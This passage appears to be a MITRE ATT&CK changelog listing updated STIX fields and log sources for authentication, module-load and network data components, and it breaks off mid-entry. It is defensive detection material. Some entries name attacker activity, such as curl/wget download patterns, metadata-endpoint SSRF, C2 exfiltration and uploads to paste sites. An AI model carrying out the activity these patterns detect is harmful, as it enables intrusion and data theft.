| x_mitre_log_sources | [{'name': 'Logon Session', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4672'}, {'name': 'macos:unifiedlog', 'channel': 'LoginWindow context with associated PID linked to reopened plist paths'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4768, 4769'}, {'name': 'azure:signinLogs', 'channel': 'SAML-based login with anomalous issuer or NotOnOrAfter lifetime'}, {'name': 'm365:unified', 'channel': 'Abnormal user claims or unexpected elevated role assignment in SAML assertion'}, {'name': 'macos:unifiedlog', 'channel': 'authd generating multiple MFA token requests'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625, 4768, 4769'}, {'name': 'linux:syslog', 'channel': 'sssd / sudo logs'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4778, EventCode=4779'}, {'name': 'auditd:SYSCALL', 'channel': 'ssh logins or execve of remote commands'}, {'name': 'macos:unifiedlog', 'channel': 'Remote login (ssh) or screen sharing authentication attempts'}, {'name': 'kubernetes:audit', 'channel': 'Unauthorized container creation or kubelet exec logs'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_LOGIN'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4800, 4801'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4776,4771,4770'}, {'name': 'auditd:SYSCALL', 'channel': 'execve,socket,connect,openat'}, {'name': 'macos:unifiedlog', 'channel': 'Group membership change for admin or wheel'}, {'name': 'azure:audit', 'channel': 'Add delegated admin / Assign admin roles / Update application consent'}, {'name': 'saas:okta', 'channel': 'user.session.start, app.oauth2.as.authorize, policy.mfa.bypass'}, {'name': 'gcp:audit', 'channel': 'google.iam.credentials.generateAccessToken / serviceAccountTokenCreator'}, {'name': 'saas:salesforce', 'channel': 'ConnectedApp OAuth policy change / Login as user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4634, 4768, 4769'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime'}, {'name': 'saas:okta', 'channel': 'user.authentication.sso'}, {'name': 'm365:unified', 'channel': 'FileAccessed, SharingSet'}, {'name': 'm365:signin', 'channel': 'UserLogin'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow, sshd'}, {'name': 'NSM:Connections', 'channel': 'Successful sudo or ssh from unknown IPs'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd events with external IP'}, {'name': 'macos:unifiedlog', 'channel': "process = 'sshd'"}, {'name': 'esxi:auth', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:39:59.118000+00:00 | 2025-10-21 15:14:36.246000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0016', 'external_id': 'DC0016'}] | |
| x_mitre_log_sources | [{'name': 'Module', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=7'}, {'name': 'ETW:LoadImage', 'channel': 'provider: ETW LoadImage events for images from user-writable/UNC paths'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/mmap: Open/mmap .so files from non-standard paths'}, {'name': 'linux:osquery', 'channel': "select: Open files path LIKE '/tmp/%.so' OR '/dev/shm/%.so'"}, {'name': 'macos:unifiedlog', 'channel': 'dyld/unified log entries indicating image load from non-system paths'}, {'name': 'macos:osquery', 'channel': "select: path LIKE '%/Library/%/*.dylib' OR '/tmp/*.dylib'"}, {'name': 'macos:unifiedlog', 'channel': 'dynamic loading of sleep-related functions or sandbox detection libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'LD_PRELOAD Logging'}, {'name': 'linux:osquery', 'channel': 'Dynamic Linking State'}, {'name': 'macos:unifiedlog', 'channel': 'DYLD event subsystem'}, {'name': 'linux:osquery', 'channel': 'Process linked with libcrypto.so making external connections'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events with dylib load activity'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=7'}, {'name': 'WinEventLog:Application', 'channel': 'CLR Assembly creation, loading, or modification logs via MSSQL CLR integration'}, {'name': 'macos:unifiedlog', 'channel': 'Process memory maps new dylib (dylib_load event)'}, {'name': 'macos:unifiedlog', 'channel': 'Dylib loaded from abnormal location'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3033'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3063'}, {'name': 'auditd:MMAP', 'channel': 'load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'Loading of libz.dylib, libarchive.dylib by non-standard applications'}, {'name': 'macos:unifiedlog', 'channel': 'suspicious dlopen/dlsym usage in non-development processes'}, {'name': 'm365:unified', 'channel': 'Non-standard Office startup component detected (e.g., unexpected DLL path)'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap'}, {'name': 'esxi:vmkernel', 'channel': 'unexpected module load'}, {'name': 'snmp:status', 'channel': 'Status change in cryptographic hardware modules (enabled -> disabled)'}, {'name': 'esxi:vmkernel', 'channel': 'module load'}, {'name': 'macos:unifiedlog', 'channel': 'delay/sleep library usage in user context'}, {'name': 'linux:syslog', 'channel': 'kmod'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.kextd'}, {'name': 'macos:unifiedlog', 'channel': 'loading of unexpected dylibs compared to historical baselines'}, {'name': 'auditd:file-events', 'channel': 'open of suspicious .so from non-standard paths'}, {'name': 'macos:syslog', 'channel': 'DYLD_INSERT_LIBRARIES anomalies'}, {'name': 'auditd:SYSCALL', 'channel': 'dmesg'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_KEXTLOAD'}, {'name': 'auditd:SYSCALL', 'channel': 'module load or memory map path'}, {'name': 'macos:unifiedlog', 'channel': 'launch and dylib load'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl/libcrypto performing network activity'}, {'name': 'etw:Microsoft-Windows-Kernel-ImageLoad', 'channel': 'provider: Unsigned/user-writable image loads into msbuild.exe'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:16.486000+00:00 | 2025-10-21 15:14:35.471000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0082', 'external_id': 'DC0082'}] | |
| x_mitre_log_sources | [{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connection to 169.254.169.254 from EC2 workload'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:unifiedlog', 'channel': 'connection attempts'}, {'name': 'esxi:hostd', 'channel': 'System service interactions'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3, 22'}, {'name': 'NSM:Connections', 'channel': 'web domain alerts'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=22'}, {'name': 'auditd:SYSCALL', 'channel': 'connect'}, {'name': 'auditd:SYSCALL', 'channel': 'netconnect'}, {'name': 'macos:osquery', 'channel': 'process_events/socket_events'}, {'name': 'NSM:Firewall', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'connection open'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline'}, {'name': 'NSM:Flow', 'channel': 'New TCP/443 or TCP/80 to domain not previously seen for the user/host'}, {'name': 'NSM:Connections', 'channel': 'New outbound connection from Safari/Chrome/Firefox/Word'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect'}, {'name': 'macos:osquery', 'channel': 'execution of trusted tools interacting with external endpoints'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=22'}, {'name': 'WinEventLog:Microsoft-Windows-Bits-Client/Operational', 'channel': 'BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields'}, {'name': 'NSM:Firewall', 'channel': 'proxy or TLS inspection logs'}, {'name': 'macos:unifiedlog', 'channel': 'network connection events'}, {'name': 'esxi:vmkernel', 'channel': 'protocol egress'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms'}, {'name': 'NSM:Flow', 'channel': 'Connections to *.devtunnels.ms or tunnels.api.visualstudio.com'}, {'name': 'NSM:Flow', 'channel': 'HTTPs connection to tunnels.api.visualstudio.com'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156,5157'}, {'name': 'linux:osquery', 'channel': 'family=AF_PACKET or protocol raw; process name not in allowlist.'}, {'name': 'macos:unifiedlog', 'channel': 'First outbound connection from the same PID/user shortly after an inbound trigger.'}, {'name': 'NSM:Flow', 'channel': 'Outbound or inbound TFTP file transfers of ROMMON or firmware binaries'}, {'name': 'NSM:Connections', 'channel': 'Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports'}, {'name': 'NSM:Flow', 'channel': 'connection: TCP connections to ports 139/445 to multiple hosts'}, {'name': 'NSM:Flow', 'channel': 'connection: SMB connections to multiple internal hosts'}, {'name': 'auditd:SYSCALL', 'channel': 'connect/sendto'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CONNECT'}, {'name': 'snmp:access', 'channel': 'GETBULK/GETNEXT requests for OIDs associated with configuration parameters'}, {'name': 'esxi:hostd', 'channel': 'Service initiated connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large transfer volume (>20MB) from RDS IP range to external public IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High outbound traffic from new region resource'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S initiated by newly installed interpreter process'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK'}, {'name': 'NSM:Flow', 'channel': 'outbound connections to RMM services or to unusual destination ports'}, {'name': 'macos:unifiedlog', 'channel': 'network sessions initiated by remote desktop apps'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connections to port 22, 3389'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect with TLS context by unexpected process'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port."}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: New bind() to a previously closed port shortly after the sequence.'}, {'name': 'NSM:Flow', 'channel': 'Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic spike through formerly blocked ports/subnets following config change'}, {'name': 'cni:netflow', 'channel': 'outbound connection to internal or external APIs'}, {'name': 'macos:osquery', 'channel': 'launchd or network_events'}, {'name': 'networkdevice:syslog', 'channel': 'Dynamic route changes'}, {'name': 'NSM:Flow', 'channel': 'New egress to Internet by the same UID/host shortly after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'connection: Inbound connections to SSH or VPN ports'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound connections to VNC/SSH ports'}, {'name': 'NSM:Flow', 'channel': 'External access to container ports (2375, 6443)'}, {'name': 'linux:syslog', 'channel': 'network'}, {'name': 'macos:osquery', 'channel': 'process_events + launchd'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log or /var/log/vmksummary.log'}, {'name': 'ebpf:syscalls', 'channel': 'socket connect'}, {'name': 'NSM:Flow', 'channel': 'remote access'}, {'name': 'NSM:Flow', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'network'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic observed on mirror destination instance'}, {'name': 'networkdevice:Flow', 'channel': 'Traffic from mirrored interface to mirror target IP'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:osquery', 'channel': 'process_events, socket_events'}, {'name': 'esxi:vmkernel', 'channel': 'network activity'}, {'name': 'NSM:Flow', 'channel': 'connection attempts'}, {'name': 'NSM:Flow', 'channel': 'High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs'}, {'name': 'auditd:SYSCALL', 'channel': 'sendto/connect'}, {'name': 'NSM:Flow', 'channel': 'outbound connections from host during or immediately after image build'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound Traffic'}, {'name': 'esxi:hostd', 'channel': 'Service-Based Network Connection'}, {'name': 'linux:syslog', 'channel': 'postfix/smtpd'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from browser/office lineage'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from exploited lineage'}, {'name': 'macos:osquery', 'channel': 'CONNECT: Long-lived connections from remote-control parents to external IPs/domains'}, {'name': 'auditd:SYSCALL', 'channel': 'outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or socket'}, {'name': 'macos:unifiedlog', 'channel': 'log stream network activity'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock"}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: Process binds to a new local port shortly after knock'}, {'name': 'NSM:Flow', 'channel': 'Closed-port hits followed by success from same src_ip'}, {'name': 'NSM:Flow', 'channel': 'Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock'}, {'name': 'WinEventLog:Microsoft-Windows-WLAN-AutoConfig', 'channel': '8001, 8002, 8003'}, {'name': 'linux:syslog', 'channel': 'New Wi-Fi connection established or repeated association failures'}, {'name': 'macos:unifiedlog', 'channel': 'Association and authentication events including failures and new SSIDs'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect calls showing SSH processes forwarding arbitrary ports'}, {'name': 'esxi:vmkernel', 'channel': 'network session initiation with external HTTPS services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=8001'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'openat,connect -k discovery'}, {'name': 'NSM:Flow', 'channel': 'Unexpected inbound/outbound TFTP traffic for device image files'}, {'name': 'NSM:Flow', 'channel': 'Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:23.639000+00:00 | 2025-10-21 15:14:34.190000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0102', 'external_id': 'DC0102'}] | |
| x_mitre_log_sources | [{'name': 'Network Share', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-Windows-SMBClient/Security', 'channel': 'EventID=31001'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5140'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145'}, {'name': 'WinEventLog:Microsoft-Windows-SMBServer', 'channel': 'Access to SYSVOL share from non-admin user or unusual endpoints'}, {'name': 'NSM:Flow', 'channel': 'smb_files.log'}, {'name': 'm365:unified', 'channel': 'FileUploaded, FileAccessed'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:01.621000+00:00 | 2025-10-21 15:14:37.412000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0085', 'external_id': 'DC0085'}] | |
| x_mitre_log_sources | [{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'ebpf:syscalls', 'channel': 'Process within container accesses link-local address 169.254.169.254'}, {'name': 'WebProxy:AccessLogs', 'channel': 'SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log / xmpp.log (custom log feeds)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log or AMQP custom log'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log, xmpp.log, amqp.log'}, {'name': 'networkdevice:syslog', 'channel': 'ACL/Firewall rule modification or new route injection'}, {'name': 'm365:office', 'channel': 'External HTTP/DNS connection from Office binary shortly after macro trigger'}, {'name': 'NSM:Flow', 'channel': 'TCP/UDP'}, {'name': 'NSM:Flow', 'channel': 'TCP session tracking'}, {'name': 'NSM:Flow', 'channel': 'Captured packet payloads'}, {'name': 'NSM:Flow', 'channel': 'session behavior'}, {'name': 'esxi:vmkernel', 'channel': 'Network activity'}, {'name': 'NSM:Flow', 'channel': 'External C2 channel over TLS'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Inbound/outbound transfer of ELF shared objects'}, {'name': 'NSM:Flow', 'channel': 'http.log, files.log'}, {'name': 'NSM:Flow', 'channel': 'unexpected network activity initiated shortly after shell session starts'}, {'name': 'NSM:Flow', 'channel': 'HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log'}, {'name': 'NSM:Flow', 'channel': 'http.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'SPAN or port-mirrored HTTP/S'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log, websocket.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network metrics correlation for bandwidth saturation'}, {'name': 'docker:stats', 'channel': 'unusual network TX/RX byte deltas'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'HTTPS Inspection'}, {'name': 'NSM:Flow', 'channel': 'ssl.log'}, {'name': 'linux:syslog', 'channel': 'Query to suspicious domain with high entropy or low reputation'}, {'name': 'macos:unifiedlog', 'channel': 'DNS query with pseudo-random subdomain patterns'}, {'name': 'azure:vpcflow', 'channel': 'HTTP requests to 169.254.169.254 or Azure Metadata endpoints'}, {'name': 'NSM:Flow', 'channel': 'Browser connections to known C2 or dynamic DNS domains'}, {'name': 'NSM:Flow', 'channel': 'Session History Reset'}, {'name': 'NSM:Flow', 'channel': 'HTTP '}, {'name': 'macos:unifiedlog', 'channel': 'network flow'}, {'name': 'linux:syslog', 'channel': 'curl|wget|python .*http'}, {'name': 'macos:unifiedlog', 'channel': 'curl|osascript.*open location'}, {'name': 'NSM:Flow', 'channel': 'query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes'}, {'name': 'etw:Microsoft-Windows-NDIS-PacketCapture', 'channel': 'TLS Handshake/Network Flow'}, {'name': 'NSM:Flow', 'channel': 'HTTP/TLS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.network'}, {'name': 'linux:syslog', 'channel': 'Unexpected SQL or application log entries showing tampered or malformed data'}, {'name': 'EDR:hunting', 'channel': 'Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, URL shorteners'}, {'name': 'macos:unifiedlog', 'channel': 'open URL|clicked link|LSQuarantineAttach'}, {'name': 'NSM:Flow', 'channel': 'Suspicious GET/POST; downloader patterns'}, {'name': 'NSM:Flow', 'channel': 'SSH logins or scp activity'}, {'name': 'NSM:Flow', 'channel': 'remote login and transfer'}, {'name': 'esxi:vob', 'channel': 'NFS/remote access logs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic between instances'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=5005 (WLAN), EventCode=302 (Bluetooth)'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious long-lived or reattached remote desktop sessions from unexpected IPs'}, {'name': 'NSM:Flow', 'channel': 'HTTP payloads with SQLi/LFI/JNDI/deserialization indicators'}, {'name': 'NSM:Flow', 'channel': 'outbound egress from web host after suspicious request'}, {'name': 'NSM:Flow', 'channel': 'Requests towards cloud metadata or command & control from pod IPs'}, {'name': 'ALB:HTTPLogs', 'channel': 'AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts'}, {'name': 'NSM:Flow', 'channel': 'Connections to TCP 427 (SLP) or vCenter web services from untrusted sources'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow for odd egress to Internet from mgmt plane'}, {'name': 'NSM:Flow', 'channel': 'packet capture or DPI logs'}, {'name': 'NSM:Flow', 'channel': 'http.log'}, {'name': 'NSM:Flow', 'channel': 'SMB2_LOGOFF/SMB_TREE_DISCONNECT'}, {'name': 'macos:unifiedlog', 'channel': 'Connections to suspicious domains with mismatched certificate or unusual patterns'}, {'name': 'NSM:Flow', 'channel': 'Unusual Base64-encoded content in URI, headers, or POST body'}, {'name': 'NSM:Flow', 'channel': 'Base64 strings or gzip in URI, headers, or POST body'}, {'name': 'macos:unifiedlog', 'channel': 'HTTP POST with encoded content in user-agent or cookie field'}, {'name': 'esxi:vmkernel', 'channel': 'Outbound traffic using encoded payloads post-login'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to 22/5900/8080 and follow-on internal connections.'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body contains long Base64 sections'}, {'name': 'NSM:Flow', 'channel': 'http: Base64/MIME looking payloads from ESXi host IP'}, {'name': 'NSM:Flow', 'channel': 'LDAP Bind/Search'}, {'name': 'NSM:Flow', 'channel': 'LDAP Query'}, {'name': 'macos:unifiedlog', 'channel': 'log stream (subsystem: com.apple.system.networking)'}, {'name': 'NSM:Flow', 'channel': 'smtp.log'}, {'name': 'NSM:Flow', 'channel': 'smtp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'remote CLI session detection'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted connection with anomalous payload entropy'}, {'name': 'esxcli:network', 'channel': 'Socket sessions with randomized payloads inconsistent with TLS'}, {'name': 'NSM:Connections', 'channel': 'Symmetric encryption detected without TLS handshake sequence'}, {'name': 'NSM:Flow', 'channel': 'http.log, ftp.log'}, {'name': 'NSM:Flow', 'channel': 'PCAP inspection'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to webhook endpoints'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to webhook endpoints'}, {'name': 'NSM:Flow', 'channel': 'Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed ≤TimeWindow by outbound SF from same host to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Inbound one-off packet to uncommon port → outbound SF to same src_ip within TimeWindow.'}, {'name': 'networkdevice:config', 'channel': 'NAT table modification (add/update/delete rule)'}, {'name': 'NSM:Flow', 'channel': 'large upload to firmware interface port or path'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid incoming TLS handshakes or HTTP requests in quick succession'}, {'name': 'NSM:Flow', 'channel': 'http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources'}, {'name': 'NSM:Flow', 'channel': 'http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains'}, {'name': 'NSM:Flow', 'channel': 'HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)'}, {'name': 'NSM:Connections', 'channel': 'TLS handshake + HTTP headers'}, {'name': 'NSM:Flow', 'channel': 'ssl.log + http.log'}, {'name': 'macos:unifiedlog', 'channel': 'network, socket, and http logs'}, {'name': 'NSM:Firewall', 'channel': 'TLS/HTTP inspection'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Outbound transfer of large video-like MIME types soon after capture'}, {'name': 'container:proxy', 'channel': 'outbound/inbound network activity from spawned pods'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound to non-standard ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound SCP, TFTP, or FTP sessions carrying configuration file content'}, {'name': 'NSM:Flow', 'channel': 'Session Transfer Content'}, {'name': 'NSM:Flow', 'channel': 'Captured File Content'}, {'name': 'NSM:Flow', 'channel': 'C2 exfiltration'}, {'name': 'NSM:Flow', 'channel': 'Transferred file observations'}, {'name': 'apache:access_log', 'channel': "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"}, {'name': 'NSM:Flow', 'channel': 'http::post: Outbound HTTP POST from host shortly after DB export activity'}, {'name': 'NSM:Flow', 'channel': 'HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage'}, {'name': 'NSM:Flow', 'channel': 'Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions'}, {'name': 'NSM:Flow', 'channel': 'New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs'}, {'name': 'NSM:Flow', 'channel': 'New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot'}, {'name': 'docker:events', 'channel': 'remote API calls to /containers/create or /containers/{id}/start'}, {'name': 'NSM:Flow', 'channel': 'http::request: Network connection to package registry or C2 from interpreter shortly after install'}, {'name': 'linux:syslog', 'channel': 'Integrity mismatch warnings or malformed packets detected'}, {'name': 'NSM:Flow', 'channel': 'http::request: Outbound HTTP initiated by Python interpreter'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Outbound requests with forged tokens/cookies in headers'}, {'name': 'linux:syslog', 'channel': 'DNS response IPs followed by connections to non-standard calculated ports'}, {'name': 'macos:unifiedlog', 'channel': 'DNS responses followed by connections to ports outside standard ranges'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound traffic to mining domains'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted session initiation by unexpected binary'}, {'name': 'esxi:vmkernel', 'channel': 'Inspection of sockets showing encrypted sessions from non-baseline processes'}, {'name': 'NSM:Connections', 'channel': 'Abnormal certificate chains or non-standard ports carrying TLS'}, {'name': 'NSM:Flow', 'channel': 'DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to text storage domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to pastebin-like domains'}, {'name': 'NSM:Flow', 'channel': 'Unexpected ARP replies or DNS responses inconsistent with authoritative servers'}, {'name': 'NSM:Flow', 'channel': 'TLS downgrade or inconsistent DNS answers'}, {'name': 'NSM:Flow', 'channel': 'Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large volume of malformed or synthetic payloads to application endpoints prior to failure'}, {'name': 'networkconfig ', 'channel': 'interface flag PROMISC, netstat | ip link | ethtool'}, {'name': 'macos:unifiedlog', 'channel': 